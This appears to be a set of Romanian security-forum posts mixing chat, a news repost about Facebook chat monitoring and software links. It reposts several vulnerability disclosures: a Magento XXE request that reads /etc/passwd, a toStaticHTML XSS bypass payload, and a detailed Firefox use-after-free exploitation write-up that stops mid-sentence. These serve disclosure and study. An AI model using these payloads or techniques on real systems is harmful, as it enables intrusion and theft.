Nytro

"Eu acum zic despre cei care sunt in prezent cu grad mare aici pe forum." Sa stii ca si "Old school" este un grad pe forum.

Nasoala aceasta mentalitate de a vorbi fara a fi informat...

Sunt gelos, nu vad nimic despre mine acolo Lucram, aproximativ toti, cand stai 8 ore pe zi sa scrii cod (bine, cam asta ar trebui sa fac) nu prea iti vine odata ajuns acasa sa scrii din nou cod, sa faci un proiect ceva... Ce cont aveai inainte? Din informatiile oferite nu pari un membru foarte activ in trecut, dar poate ma insel. Ca moderator/administrator, e datoria ta sa fii putin nesimtit, deoarece e datoria ta sa asiguri, pe cat posibil, "linistea". Si da, luati de multe ori avertismente si banuri si nu va convine, dar nu realizati ca daca nu ati primi ar fi (si mai) haos aici. Lucrurile sunt simple: cei care se acomodeaza si raman aici, de-a lungul timpului, nu datorita RST, ci datorita mentalitatii de a sta pe RST, isi creaza o baza oarecum solida de cunostinte. Problema e simpla: nu le folosesc, sau mai exact, le folosesc in interes personal, nu si in interesul altora. PS: RST asa a fost mereu, nu e mare diferenta intre RST de acum si RST din trecut, daca te intereseaza rahaturile, citesti rahaturi, daca te intereseaza chestii utile, ca sa vezi, chiar SE POSTEAZA chestii utile, desi fiind distrasi de topicurile "fierbinti" evitati sa vedeti partea buna. No, acu baga si ceva despre mine.

Facebook urm?re?te discu?iile pe chat ?i te poate reclama la poli?ie Aurelian Mihai - 13 iul 2012 Facebook, dar ?i alte re?ele de socializare, verific? permanent discu?iile purtate de utilizatori în cadrul sesiunilor de chat, alertând autorit??ile la detectarea indiciilor privind activit??i criminale, sau alte comportamente suspicioase. Procesul de verificare este desf??urat cu ajutorul unui software specializat, ce scaneaz? discu?iile dintre utilizatori c?utând cuvinte ?i fraze care semnaleaz? posibile probleme. Printre altele, se d? alarma atunci când este detectat? folosirea unui limbaj vulgar, sau schimbul de informa?ii personale între utilizatori. Software-ul de monitorizare acord? o aten?ie deosebit? utilizatorilor ocazionali, care nu au înc? o prezen?? bine stabilit? pe site, sau dac? datele personale din profilurile celor participan?i la conversa?ie indic? posibile probleme, spre exemplu o diferen?? foarte mare de vârst? între cei doi. Suplimentar, filtrul de scanare verific? ?i d? alarma la detectarea anumitor fraze care au mai fost întâlnite ?i în trecut la discu?iile purtate între infractori cunoscu?i, printre care ?i pedofili. La detectarea unui schimb suspicios de mesaje pe chat, sistemul anun?? în mod automat unul dintre angaja?ii Facebook, care determin? mai departe gradul de pericol ?i dac? este necesar? alertarea autorit??ilor. Per total, sistemul de verificare p?streaz? anonime vasta majoritate a discu?iilor purtate de utilizatori prin intermediul sesiunilor de chat, evitând astfel critici aspre din partea militan?ilor pentru protejarea dreptului la intimitate. Nu este îns? clar dac? sesiunile de chat trecute prin procesul de scanare sunt ?terse imediat, sau p?strate permanent pe serverele companiei. Existen?a unui sistem de monitorizare pentru discu?iile purtate pe Facebook a fostdezv?luit? chiar de directorul de securitate al re?elei de socializare, Joe Sullivan, într-un interviu acordat agen?iei de pres? Reuters. “Nu am vrut niciodat? s? cre?m un mediu în care angaja?ii companiei sunt pu?i s? verifice conversa?iile private purtate între utilizatori, astfel c? este foarte important s? folosim tehnologii de detec?ie care au o rat? foarte sc?zut? de r?spunsuri fals-pozitive.” Potrivit informa?iilor postate aici, Facebook coopereaz? cu autorit??ile responsabile de aplicarea legilor “ atunci când este cazul ?i în m?sura cerut? de lege, pentru a asigura siguran?a celor care folosesc serviciile Facebook ”. În timp ce este perfect adev?rat c? Facebook a cooperat cu poli?ia ?i în trecut , sprijinind investigarea ?i condamnarea unui suspect de crim? furnizând colec?ii de mesaje postate pe Wall, poze, respectiv date de login ?i adresele IP pentru PC-urile folosite de agresor, r?mâne de v?zut ce impact va avea monitorizarea generalizat? a sesiunilor de chat asupra utilizatorilor obi?nui?i. Momentan, p?rerile sunt împ?r?ite între utilizatori convin?i c? administratorii Facebook aduc o contribu?ie pozitiv?, ajutând la prevenirea tentativelor de fraud?, depistarea mai rapid? a pr?d?torilor sexuali ?i prevenirea altor activit??i criminale, respectiv utilizatori îngrijora?i de faptul c? discu?iile private ar putea fi interceptate în mod arbitrar ?i citite de persoane str?ine. Sursa: Facebook urm?re?te discu?iile pe chat ?i te poate reclama la poli?ie

Toate: http://www.kernel.org/doc/man-pages/online/dir_all_alphabetic.html http://www.kernel.org/doc/man-pages/online/dir_all_by_section.html Separat: http://www.kernel.org/doc/man-pages/online/pages/ Fiecare sectiune: dir_section_1.html 03-Dec-2010 07:05 1.2K dir_section_2.html 03-Dec-2010 07:05 25K dir_section_3.html 03-Dec-2010 07:05 81K dir_section_4.html 03-Dec-2010 07:05 2.8K dir_section_5.html 03-Dec-2010 07:05 3.1K dir_section_6.html 03-Dec-2010 07:05 1.1K dir_section_7.html 03-Dec-2010 07:05 8.2K dir_section_8.html 03-Dec-2010 07:05 1.5K Sursa: Index of /doc/man-pages/online/pages

Magento eCommerce Platform XXE Injection Authored by Kestutis Gudinavicius | Site sec-consult.com Magento eCommerce platform uses a vulnerable version of Zend framework which is prone to XML eXternal Entity Injection attacks. The SimpleXMLElement class of Zend framework (SimpleXML PHP extension) is used in an insecure way to parse XML data. External entities can be specified by adding a specific DOCTYPE element to XML-RPC requests. By exploiting this vulnerability an application may be coerced to open arbitrary files and/or TCP connections. SEC Consult Vulnerability Lab Security Advisory < 20120712-0 > ======================================================================= title: Local file disclosure via XXE injection product: Magento eCommerce Platform Enterprise & Community Edition vulnerable version: Magento eCommerce Platform Enterprise Edition <= v1.12.0.1 Magento eCommerce Platform Community Edition <= v1.7.0.1 fixed version: Magento eCommerce Platform Enterprise Edition <= v1.12.0.2 Magento eCommerce Platform Community Edition <= v1.7.0.2 impact: Critical homepage: http://www.magentocommerce.com/ found: 2012-06-18 by: K. Gudinavicius SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Magento eCommerce Platforms provide the scalability, flexibility and features for business growth. Magento provides feature-rich eCommerce platforms that offer merchants complete flexibility and control over the presentation, content, and functionality of their online channel." Source: http://www.magentocommerce.com/product/features Vulnerability overview/description: ----------------------------------- Magento eCommerce platform uses a vulnerable version of Zend framework which is prone to XML eXternal Entity Injection attacks. The SimpleXMLElement class of Zend framework (SimpleXML PHP extension) is used in an insecure way to parse XML data. External entities can be specified by adding a specific DOCTYPE element to XML-RPC requests. By exploiting this vulnerability an application may be coerced to open arbitrary files and/or TCP connections. Proof of concept: ----------------- Magento uses a vulnerable Zend_XmlRpc_Server() class (Zend\XmlRpc\Server.php) to handle XML-RPC requests. Hence it is possible to disclose arbitrary local files from the remote system. The following HTTP POST request to the vulnerable XmlRpc server application illustrates the exploitation of this vulnerability: POST /index.php/api/xmlrpc HTTP/1.1 Host: $host <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT methodName ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <methodCall> <methodName>&xxe;</methodName> </methodCall> Vulnerable / tested versions: ----------------------------- Magento eCommerce Platform Enterprise Edition v1.10.1.1 Magento eCommerce Platform Community Edition v1.7.0.0 & v1.7.0.1 Earlier versions are probably affected too! Vendor contact timeline: ------------------------ 2012-06-18: Contacting vendor through the contact form on the webpage as no email addresses or security contacts are to be found http://www.magentocommerce.com/company/contact-us 2012-06-20: No reply so far, hence trying again by choosing a different contact reason. 2012-06-21: Creating a bug tracking entry, asking for security contact http://www.magentocommerce.com/bug-tracking. 2012-06-21: Vendor reply: security@magento.com should be used. 2012-06-22: Sending advisory draft. 2012-06-22: Vendor reply: Testing workaround for customers to disable XMLRPC functionality, patch in progress; vendor will improve website to provide a clearer, more direct method for researchers. 2012-06-25: Asking for affected versions and release timeline. 2012-06-26: Informing Magento about Zend framework advisory. 2012-06-27: Vendor: sending more information to SEC Consult soon. 2012-07-04: Asking vendor about status. 2012-07-05: Vendor releases new versions and patches. 2012-07-12: SEC Consult releases detailed advisory. Solution: --------- Magento Community Edition * 1.7.0.0+ - Upgrade to the latest version, currently v1.7.0.2: http://www.magentocommerce.com/download * 1.4.0.0 - 1.4.1.1 - Apply the patch http://www.magentocommerce.com/downloads/assets/1.7.0.2/CE_1.4.0.0-1.4.1.1.patch * 1.4.2.0 - Apply the patch http://www.magentocommerce.com/downloads/assets/1.7.0.2/CE_1.4.2.0.patch * 1.5.0.0 - 1.7.0.1 - Apply the patch http://www.magentocommerce.com/downloads/assets/1.7.0.2/CE_1.5.0.0-1.7.0.1.patch Magento Enterprise Edition * 1.12.0.0+ - Upgrade to the latest version, currently v1.12.0.2: https://www.magentocommerce.com/products/customer/account/index/ * 1.8.0.0 – 1.11.X.X - Apply the Zend Security Upgrades patch https://www.magentocommerce.com/products/customer/account/index/ Magento Professional Edition * All versions - Apply the Zend Security Upgrades patch https://www.magentocommerce.com/products/customer/account/index/ More information can be found at: http://www.magentocommerce.com/blog/comments/update-zend-framework-vulnerability-security-update/ Workaround: ----------- Detailed steps can be found at: http://www.magentocommerce.com/blog/comments/update-zend-framework-vulnerability-security-update/ Advisory URL: ------------- https://www.sec-consult.com/en/advisories.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com https://www.sec-consult.com EOF K. Gudinavicius, J. Greil / @2012 Sursa: Magento eCommerce Platform XXE Injection ? Packet Storm

OpenPuff 4.00 Authored by Cosimo Oliboni | Site embeddedsw.net OpenPuff is a professional military-strength steganography tool that supports 16 algorithms, has a strong random number generator, supports many carrier formats, and more. Changes: Various updates. Download: http://packetstormsecurity.org/files/download/114680/OpenPuffv400.zip Sursa: OpenPuff 4.00 ? Packet Storm

Citeam un articol frumos despre SQL Injection, articol din 2002. Au trecut deja 10 ANI, cand oare vor incepe sa se ia masuri, si sa nu se mai planga, sau sa apeleze la "autoritati"?

Dupa secole, "baietii rai" gandesc in perspectiva... Nu pare foarte profesional, dar e bine gandit: "The Trojan can also download a file and execute it, or open a shell to receive commands. 'Graviton' is a combination of pure 'C' and 'asm'.", ceea ce nu suna rau deloc.

Interesant, dar ce dracu face mai exact?

Arata bine, subscribed, thanks.

toStaticHTML HTML Sanitizing Bypass Authored by Adi Cohen | Site blog.watchfire.com The *toStaticHTML* component, which is found in Internet Explorer versions greater than 8, SharePoint and Lync is used to sanitize HTML fragments from dynamic and potentially malicious content. An attacker is able to create a specially formed CSS that will overcome * toStaticHTML*'s security logic; therefore, after passing the specially crafted CSS string through the *toStaticHTML* function, it will contain an expression that triggers a JavaScript call. toStaticHTML: The Second Encounter (CVE-2012-1858) *HTML Sanitizing Bypass - *CVE-2012-1858<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1858> Original advisory - http://blog.watchfire.com/wfblog/2012/07/tostatichtml-the-second-encounter-cve-2012-1858-html-sanitizing-information-disclosure-introduction-t.html Introduction The *toStaticHTML* component, which is found in Internet Explorer > 8, SharePoint and Lync is used to sanitize HTML fragments from dynamic and potentially malicious content. If an attacker is able to break the filtering mechanism and pass malicious code through this function, he/she may be able to perform HTML injection based attacks (i.e. XSS). It has been a year since the first encounter<http://blog.watchfire.com/wfblog/2011/07/tostatichtml-html-sanitizing-bypass.html> was published, we've now returned with a new bypass method. Vulnerability An attacker is able to create a specially formed CSS that will overcome * toStaticHTML*'s security logic; therefore, after passing the specially crafted CSS string through the *toStaticHTML* function, it will contain an expression that triggers a JavaScript call. The following JavaScript code demonstrates the vulnerability: *<script>document.write(toStaticHTML("<style> div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{} </style><div>POC</div>"))</script>* In this case the function's return value would be JavaScript executable: *<style> div{font-family:rgb('0,0,0)''';}foo');color=expression(alert(1));{;}</style> <div>POC</div>* The reason this code bypasses the filter engine is due to two reasons: 1. The filtering engine allows the string "expression(" to exists in "non-dangerous" locations within the CSS. 2. A bug in Internet Explorer's CSS parsing engine doesn't properly terminate strings that are opened inside brackets and closed outside of them. When combining these two factors the attacker is able to "confuse" the filtering mechanism into "thinking" that a string is open when in fact it is terminated and vice versa. With this ability the attacker can trick the filtering mechanism into entering a state of the selector context which is considered safer where in fact the code is just a new declaration of the same selector, thus breaking the state machine and bypassing the filter. Impact Every application that relies on the *toStaticHTML* component to sanitize user supplied data had probably been vulnerable to XSS. Remediation Microsoft has issued several updates to address this vulnerability. MS12-037 - http://technet.microsoft.com/en-us/security/bulletin/ms12-037 MS12-039 - http://technet.microsoft.com/en-us/security/bulletin/ms12-039 MS12-050 - http://technet.microsoft.com/en-us/security/bulletin/MS12-050 Sursa: toStaticHTML HTML Sanitizing Bypass ? Packet Storm

Yep, dezactivam Java... Asta daca avem instalat asa ceva...

Citeste: Process.Start Method (String) (System.Diagnostics) Mura in gura nu avem.

Cei 8% au fost dati de PDL practic ba, era stabilit sa se dea din primavara, si sa se mai dea inca ceva din decembrie. Si salarile nu au fost taiate de Basescu, ci de Guvern, Basescu doar a anuntat ca se vor taia. Informati-va ba, nu e de mirare ca tara se afla in cacat cu asa informare...

Iei, iar mergem la protest Poate de data asta protestati si in strada, nu doar in fata monitorului...

Da... Incearca sa filmezi cu altceva, nu se vede foarte bine, dar oricum se intelege.

Exeinfo for Win32 by A.S.L. version : 0.0.3.0 - ( 617 sign ) ( freeware version ) Packer, compressor detector / unpack info / internal exe tools www Last update : 2012-07-08 www.exeinfo.xwp.pl [TABLE] [TR] [TD=width: 478, colspan: 2] [/TD] [/TR] [TR] [TD=width: 421, colspan: 2] [/TD] [/TR] [TR] [TD=width: 421, colspan: 2] Download Freeware version - ( for Windows XP, 7 ) [/TD] [/TR] [TR] [TD=width: 245] SERVER 1 Home server [/TD] [TD=width: 130] [/TD] [/TR] [TR] [TD=width: 245] SERVER 2 www.box.net[/TD] [TD=width: 130] [/TD] [/TR] [TR] [TD=width: 245] SERVER 3 www.Rapishare.com[/TD] [TD=width: 130] [/TD] [/TR] [/TABLE] Sursa: http://www.exeinfo.allalla.com/

PHP Secure Communications Library 0.3.0 Authored by Jim Wigginton | Site phpseclib.sourceforge.net PHP Secure Communications Library is a set of pure PHP implementations of DES, 3DES, RC4, Rijndael, AES, RSA (PKCS#1 compliant [v2.1]), SSH-1, SSH-2, and SFTP. Changes: This release adds support for resuming Net_SFTP::put(), support for recursive deletes and recursive chmods to Net_SFTP, setTimeout() to Net_SSH2, support for PBKDF2 to the various Crypt_* classes via setPassword(), File_X509 and File_ASN1, and the ability to decode ANSI escape codes via File_ANSI. Private keys can now be saved in various formats in Crypt_RSA. Net_SSH2::getServerPublicHostKey() returns a printer-friendly version of the public key. Download: http://packetstormsecurity.org/files/download/114588/phpseclib0.3.0.zip Sursa: PHP Secure Communications Library 0.3.0 ? Packet Storm

Advanced Exploitation of Mozilla Firefox Use-after-free Vulnerability (MFSA 2012-22) Published on 2012-06-25 17:45:24 UTC by Jordan Gruskovnjak, Security Researcher @ VUPEN Hi everyone, In this new blog, we will share our technical analysis of a use-after-free vulnerability affecting Mozilla Firefox, and how we managed to achieve a reliable code execution and bypass DEP/ASLR using the same unique and non-trivial-to-exploit flaw. This specific vulnerability (CVE-2012-0469) has been patched by Mozilla as part of the MFSA 2012-22 security advisory. 1. Technical Analysis of the Vulnerability The vulnerability results from a use-after-free error which can be triggered with the following piece of code: <html> <script> IDBKeyRange.only(43).lower; </script> </html> When creating an IDBKeyRange object, the following piece of code is reached in xul.dll (version 11.0.0.4454): .text:1080F5F6 int MakeOnlyKeyRange(JSContext *aCx, unsigned int aArgc, JS::Value *aVp) .text:1080F5F6 push ebp .text:1080F5F7 mov ebp, esp ... .text:1080F61F push 38h // size .text:1080F621 call operator new(uint) A new object of size 0x38 is allocated on the heap, then the "IDBKeyRange()" constructor is called in order to initialize the object: .text:1080F626 test eax, eax .text:1080F628 pop ecx .text:1080F629 jz short loc_1080F64B .text:1080F62B push 1 .text:1080F62D push 0 // aIsOnly .text:1080F62F push 0 // aUpperOpen .text:1080F631 push eax // aLowerOpen .text:1080F632 call mozilla::dom::indexedDB::IDBKeyRange::IDBKeyRange() Then the "GetLower()" method is called in order to retrieve the value of the "lower" variable: .text:10624C38 unsigned int mozilla::dom::indexedDB::IDBKeyRange ::GetLower(mozilla::dom::indexedDB::IDBKeyRange *this, JSContext *aCx, JS::Value *aLower) .text:10624C38 .text:10624C38 this = dword ptr 4 .text:10624C38 aCx = dword ptr 8 .text:10624C38 aLower = dword ptr 0Ch .text:10624C38 push esi .text:10624C39 mov esi, [esp+4+this] .text:10624C3D cmp byte ptr [esi+33h], 0 .text:10624C41 jnz short loc_10624C73 .text:10624C43 cmp byte ptr [esi+35h], 0 .text:10624C47 jnz short loc_10624C5A .text:10624C49 push offset mozilla::dom::indexedDB::IDBKeyRange::cycleCollectorGlobal .text:10624C4E push esi // aScriptObjectHolder .text:10624C4F call nsContentUtils::HoldJSObjects .text:10624C54 pop ecx .text:10624C55 pop ecx .text:10624C56 mov byte ptr [esi+35h], 1 .text:10624C5A .text:10624C5A loc_10624C5A: .text:10624C5A lea eax, [esi+20h] .text:10624C5D push eax .text:10624C5E push [esp+8+aCx] ; aVal .text:10624C62 lea eax, [esi+8] .text:10624C65 push eax ; aCx .text:10624C66 call mozilla::dom::indexedDB::Key::ToJSVal .text:10624C6B test eax, eax .text:10624C6D js short loc_10624C84 .text:10624C6F mov byte ptr [esi+33h], 1 .text:10624C73 .text:10624C73 loc_10624C73: .text:10624C73 mov ecx, [esi+20h] .text:10624C76 mov eax, [esp+8+aCx] .text:10624C7A mov [eax], ecx .text:10624C7C mov ecx, [esi+24h] .text:10624C7F mov [eax+4], ecx .text:10624C82 xor eax, eax .text:10624C84 .text:10624C84 loc_10624C84: .text:10624C84 pop esi .text:10624C85 retn 0Ch Before retrieving the value of the "lower" member variable, the code adds a reference to the IDBKeyRange object to the Cycle Collector, and sets bytes at [this+0x35] and [this+0x33] to 1, which correspond to the mRooted and mHaveCachedLowerVal boolean variables. Since no variable holds the reference of the IDBKeyRange object, it's eventually processed by the garbage collector and destroyed, thus calling the destructor of IDBKeyRange: .text:105FF912 void mozilla::dom::indexedDB::IDBKeyRange ::~IDBKeyRange(mozilla::dom::indexedDB::IDBKeyRange *this) .text:105FF912 .text:105FF912 this = dword ptr 4 .text:105FF912 .text:105FF912 push esi .text:105FF913 mov esi, [esp+4+this] .text:105FF917 lea ecx, [esi+14h] ; this .text:105FF91A mov dword ptr [esi], offset const mozilla::dom::indexedDB::IDBKeyRange::`vftable' .text:105FF920 call nsACString_internal::Finalize .text:105FF925 lea ecx, [esi+8] ; this .text:105FF928 call nsACString_internal::Finalize .text:105FF92D pop esi .text:105FF92E retn 4 During the destruction of the object, the destructor fails to release the reference of the IDBKeyRange object which is still present in the Cycle Collector by calling "nsContentUtils::DropJSObjects()". When the Cycle Collector will be triggered, it will use the helper function mozilla::dom::indexedDB::IDBKeyRange::cycleCollection::Trace() in order to inspect the freed object: .text:1053A8D8 void mozilla::dom::indexedDB::IDBKeyRange::Trace(mozilla::dom::indexedDB::IDBKeyRange::cycleCollection *this, void *p, void (__cdecl *aCallback)(unsigned int, void *, const char *, void *), void *aClosure) .text:1053A8D8 push ebp .text:1053A8D9 mov ebp, esp .text:1053A8DB push ecx .text:1053A8DC push ecx .text:1053A8DD push esi .text:1053A8DE mov esi, [ebp+p] // Retrieve freed object .text:1053A8E1 mov eax, [esi+24h] .text:1053A8E4 cmp eax, 0FFFFFF85h // Check the value of [esi+24h] .text:1053A8E7 jb short loc_1053A901 .text:1053A8E9 mov eax, [esi+20h] // EAX will be processed .text:1053A8EC test eax, eax .text:1053A8EE jz short loc_1053A901 .text:1053A8F0 push [ebp+aClosure] .text:1053A8F3 push offset aMcachedlowerva ; "mCachedLowerVal" .text:1053A8F8 push eax .text:1053A8F9 push 2 .text:1053A8FB call [ebp+aCallback] // CheckParticipatesInCycleCollection() Eventually the [ESI+20h] dword value will be processed within the "js_GetGCThingTraceKind()" function in "mozjs.dll": .text:10034C20 js::GetGCThingTraceKind() .text:10034C20 thing = dword ptr 4 .text:10034C20 .text:10034C20 mov eax, [esp+thing] .text:10034C24 and eax, 0FFFFF000h .text:10034C29 mov ecx, [eax+0Ch] // crash here .text:10034C2C and ecx, 0FFh .text:10034C32 mov eax, ds:kind[ecx*4] // Retrieve the type of object .text:10034C39 retn Firefox will try to dereference an invalid value leading to an exploitable crash which could allow remote attackers to compromise a vulnerable system via a specially crafted web page. 2. Advanced Exploitation With ASLR/DEP Bypass It is possible to achieve a reliable exploitation of this flaw and bypass DEP and ASLR. The first step to achieve is to replace the freed object in order to control its data when the object is processed by the Cycle Collector. As seen in the previous section, the object size is 0x38 bytes. One needs to craft a string with the offset at 0x20 having the value 0xFFFFFF85 in order to be processed by the "CheckParticipatesInCycleCollection()" function: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x85\xFF\xFF\xFF\x41\x41\x41\x41\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 A Javascript code is used to replace the vulnerable object. A loop should be used to cause multiple allocations and trigger the Garbage Collector and the Cycle Collector. Then the vulnerable object is replaced between the time the garbage collector frees the object and the time the cycle collector uses its invalid reference. Firefox then crashes in the "mozjs.dll" module: .text:10034C20 js::GetGCThingTraceKind() .text:10034C20 thing = dword ptr 4 .text:10034C20 .text:10034C20 mov eax, [esp+thing] // EAX is user-controlled .text:10034C24 and eax, 0FFFFF000h .text:10034C29 mov ecx, [eax+0Ch] // crashes here with EAX=0x41414000 .text:10034C2C and ecx, 0FFh .text:10034C32 mov eax, ds:kind[ecx*4] // Retrieve the type of object .text:10034C39 retn The program performs the following pseudo code operations: ptr = (attack_controlled_value & 0xFFFFF000) idx = *(ptr + 0xc) & 0xFF return kind[idx * 4]; // kind is a global array in .data section Then the returned value is used in a switch statement within the "js::gc::MarkKind()" function of "mozjs.dll": .text:1003BDF0 void js::gc::MarkKind (JSTracer *trc, void *thing, JSGCTraceKind kind) .text:1003BDF0 mov eax, [esp+kind] .text:1003BDF4 cmp eax, 6 // switch 7 cases .text:1003BDF7 ja locret_1003BE82 // jumptable 1003BDFD default case .text:1003BDFD jmp ds:off_1003BE84[eax*4] // switch jump ... .text:1003BE17 $LN6_5: .text:1003BE17 mov edx, [esp+thing] // jumptable 1003BDFD case 1 .text:1003BE1B mov eax, [esp+trc] .text:1003BE1F push edx // thing .text:1003BE20 push eax // trc .text:1003BE21 call js::gc::Mark<JSString>(JSTracer *,JSString *) .text:1003BE26 add esp, 8 .text:1003BE29 retn When EAX == 1, the code path at 0x1003BE17 is taken leading to the call at 0x1003BE21 eventually calling the "js::gc::PushMarkStack()" function of "mozjs.dll": .text:1003AC00 void js::gc::PushMarkStack(js::GCMarker *gcmarker, JSString *str<eax>) .text:1003AC00 push esi .text:1003AC01 mov esi, eax .text:1003AC03 shr esi, 3 .text:1003AC06 and esi, 1FFFFh .text:1003AC0C mov ecx, esi .text:1003AC0E and ecx, 1Fh .text:1003AC11 push edi .text:1003AC12 mov edi, 1 .text:1003AC17 shl edi, cl .text:1003AC19 mov ecx, eax .text:1003AC1B and ecx, 0FFF00000h .text:1003AC21 shr esi, 5 .text:1003AC24 lea edx, [ecx+esi*4+0FC0C4h] .text:1003AC2B mov ecx, [edx] .text:1003AC2D test edi, ecx .text:1003AC2F jnz short loc_1003AC4C .text:1003AC31 or ecx, edi .text:1003AC33 mov [edx], ecx .text:1003AC35 mov dl, [eax] .text:1003AC37 not dl .text:1003AC39 test dl, 1 .text:1003AC3C pop edi .text:1003AC3D pop esi .text:1003AC3E jz short loc_1003AC47 .text:1003AC40 mov edx, eax .text:1003AC42 jmp js::gc::ScanLinearString ... .text:1003AAC0 void js::gc::ScanLinearString(js::GCMarker *gcmarker, JSLinearString *str<edx>) .text:1003AAC0 mov eax, [edx] .text:1003AAC2 shr eax, 1 .text:1003AAC4 test al, 1 .text:1003AAC6 jz short locret_1003AB0E ... .text:1003AB0E locret_1003AB0E: .text:1003AB0E retn This code path allows us to OR a dword at a certain location. This location is not totally arbitrary, but relative to the supplied value in the thing variable. Here is the pseudo code of the "js::gc::PushMarkStack()" function: value = (thing >> 3) & 0x1F value = (1 << value) offset = (thing & 0x1FFFF) >> 5 base_addr = (thing & 0xFFF) [base_addr + offset * 4 + 0xFC0C4] |= value Since this is the only place where the controlled value is used for a useful operation in the exploitation perspective, one will have to find a way to control EIP using this pseudo code. Even if the exploitation of this vulnerability does not seem as trivial as something like: "call [eax+40h]", it opens a possibility for an information leak since it causes a memory corruption. To bypass ASLR on Windows 7 and Vista and achieve code execution, we will use three heap sprays. One heap spray will be used for the information leak, a second one to overwrite a DOM object, and a third one to perform the ROP. 1) Leaking the XUL base address In order to perform the information leak, we will overwrite the length of a string in memory and use the overwritten string from Javascript in order to scan memory and find a vTable. In Firefox, when a string is small enough, the Javascript string object and the string itself are contiguous in memory. For example when creating the string "AABBCCDDEEF" it will have the following memory layout: length pointer to string \x41\x00\x41\x00 \x42\x00\x42\x00 \x43\x00\x43\x00 \x44\x00\x44\x00 \x45\x00\x45\x00 \x46\x00\x00\x00 The string object + string itself is then 0x20 bytes in memory. We then spray this string in memory and obtain a perfectly aligned heap spray of string objects. Moreover the GC will append a bit array to the end of each page, in order to keep track of allocated strings. The memory layout will then be as shown below: Address Value 0A000000 .. 0A000020 \xb4\x00\x00\x00\x28\x00\x00\x0a\x41\x00\x41\x00\x42\x00\x42\x00 0A000030 \x43\x00\x43\x00\x44\x00\x44\x00\x45\x00\x45\x00\x46\x00\x00\x00 & 0A0FBFE0 \xb4\x00\x00\x00\xE8\x00\x00\x0a\x41\x00\x41\x00\x42\x00\x42\x00 0A0FBFF0 \x43\x00\x43\x00\x44\x00\x44\x00\x45\x00\x45\x00\x46\x00\x00\x00 0A0FC000 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 & 0A0FC0C0 \x00\x00\x00\x00\x10\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11 & 0A0FFFD0 \x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 & 0A0FFFF0 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 Even though the bit array seems uninteresting, it will be useful in order to perform the information leak. As explained above, the following pseudo code inside the "js_GetGCThingTraceKind()" function will be used to retrieve an index which will later be used in a jump table: ptr = (attack_controlled_value & 0xFFFFF000) idx = *(ptr + 0xc) & 0xFF return kind[idx * 4]; By supplying the value 0x0A0FFFF8, ptr will be equal to 0x0A0FF000. Then the value at 0x0A0FF00C is retrieved and will point to the bit array values of 0x11111111. Since a AND 0xFF is performed on the retrieved value, the idx variable is now 0x11. It happens that the 0x11th dword in the kind array has the value 0x1. This function thus returns 1 given the address 0x0A0FFFF8. The call in the jump table with the index 1, will eventually lead Firefox to the "js::gc::PushMarkStack()" function which is where the actual memory corruption occurs. This pseudo code is then executed, again with the value 0x0A0FFFF8: value = (thing >> 3) & 0x1F value = (1 << value) offset = (thing & 0x1FFFF) >> 5 base_addr = (thing & 0xFFF) [base_addr + offset * 4 + 0xFC0C4] |= value This code will then assign the following values to the variables: value = 0x80000000 offset = 0xFFF base_addr = 0x0A000000 The address that will be corrupted will be 0x0A1000C0, which happens to be the location of the length dword of the strings objects inside the heap spray. The string size will then be ORed with 0x80000000 giving a huge string length. We can then just check the length of all strings and perform a memory search with the one having a huge size. Obviously the vTable that will be leaking is the vTable of the DOM objects heap spray located right after the short string heap spray. 2) Overwritting a DOM object pointer Since the spray of DOM object does not have the bit array marker at the end of the page, the object spray will be split. The first half being a classic heap spray whose only purpose will be to contain the value 0x11 in order to take the good code path. The other will be an object spray. The object used to perform the object spray is an HTML tag whose size is 0x80 bytes wide which results in an aligned heap spray. At a first time, a spray of string of size 0x80000 will be performed. It will have the effect of forcing Firefox to create 0x100000 bytes pages, filling them with a 0x80000 bytes string and leaving the other half empty. Then an object spray is performed which will fill the bottom half of the previously allocated memory. Each page has then the following layout: Address Values & 14001000 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 & 14003000 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x11\x00\x00\x00 ... 14081080 \x4C\xF2\xAE\x01\x34\xF7\xAE\x01\x00\x00\x00\x00\xXX\xXX\xXX\xXX 14081090 \xXX\xXX\xXX\xXX\x00\x00\x10\x00\x0E\x00\x00\x00\x00\x11\x08\x14 ... 14081100 \x4C\xF2\xAE\x01\x34\xF7\xAE\x01\x00\x00\x00\x00\xXX\xXX\xXX\xXX 14081110 \xXX\xXX\xXX\xXX\x00\x00\x10\x00\x0E\x00\x00\x00\x80\x11\x08\x14 The dwords in green are the object vTable that will be leaked using the method presented above. Even if it seems practical to modify the vTable dword to point inside the heap spray, it is not always feasible under Windows 7. For example if the XUL vTable pointer is 0x68B7F24C, performing an OR operation on the MSB will not be useful. On the other hand, each dword in blue points to the object located just after. By overwriting the MSB of this pointer by 0x20000000, the pointer address MSB will become 0x3400000 and points inside a heap spray performing the ROP and shellcode execution. Using the address 0x140036E8, allows achieving this: ptr = (attack_controlled_value & 0xFFFFF000) idx = *(ptr + 0xc) & 0xFF return kind[idx * 4]; idx will be equal to [0x1400300C] = 0x11, the function will then return 1 and jump into the wanted code path. Then, the following pseudo code is executed again: value = (thing >> 3) & 0x1F value = (1 << value) offset = (thing & 0x1FFFF) >> 5 base_addr = (thing & 